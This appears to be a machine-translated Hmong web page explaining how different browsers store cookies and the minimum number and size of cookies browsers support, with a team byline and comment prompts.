Khaws cov ncuav qab zib

Nrog qee qhov browsers, lub ncuav qab zib yog kho tau yooj yim, cov ntawv nyeem yooj yim zoo li Notepad txaus los hloov nws cov txiaj ntsig manually.

Cov ncuav qab zib raug khaws cia txawv nyob ntawm qhov browser:

  • Microsoft Internet Explorer txuag txhua lub ncuav qab zib hauv ib cov ntaub ntawv sib txawv;
  • Mozilla Firefox txuag tag nrho nws cov ncuav qab zib hauv ib cov ntaub ntawv;
  • opera txuag tag nrho nws cov ncuav qab zib hauv ib cov ntaub ntawv thiab encrypts lawv (tsis tuaj yeem hloov kho lawv tsuas yog hauv cov kev xaiv software);
  • Kua Safari txuag tag nrho nws cov ncuav qab zib hauv ib qho .plist extension file. Kev hloov kho yog ua tau tab sis tsis yooj yim heev, tshwj tsis yog koj mus dhau qhov kev xaiv software.

Browsers yuav tsum tau txhawb nqa yam tsawg kawg nkaus :

  • 300 khob noom cookie ib txhij;
  • 4 o ib o;.
  • 20 ncuav qab zib rau ib tus tswv lossis tus tswv.
[Tag nrho: 0 Txhais: 0]

sau los ntawm Kev Ntsuam Xyuas Cov Hloov Kho

Pab neeg ntawm cov kws kho teeb tsa siv lawv lub sijhawm tshawb nrhiav cov khoom, ua cov kev sim ua tau zoo, sib tham nrog cov kws tshaj lij kev lag luam, tshuaj xyuas cov neeg siv khoom, thiab sau tag nrho peb cov txiaj ntsig raws li kev nkag siab thiab cov ntsiab lus tseem ceeb.

Laisser un commentaire

Koj email chaw nyob yuav tsis tsum luam tawm. Yuav tsum tau teb cov cim *

Yuav ua li cas koj xav hais tias?

384 Cov ntsiab lus
Upvote Downvote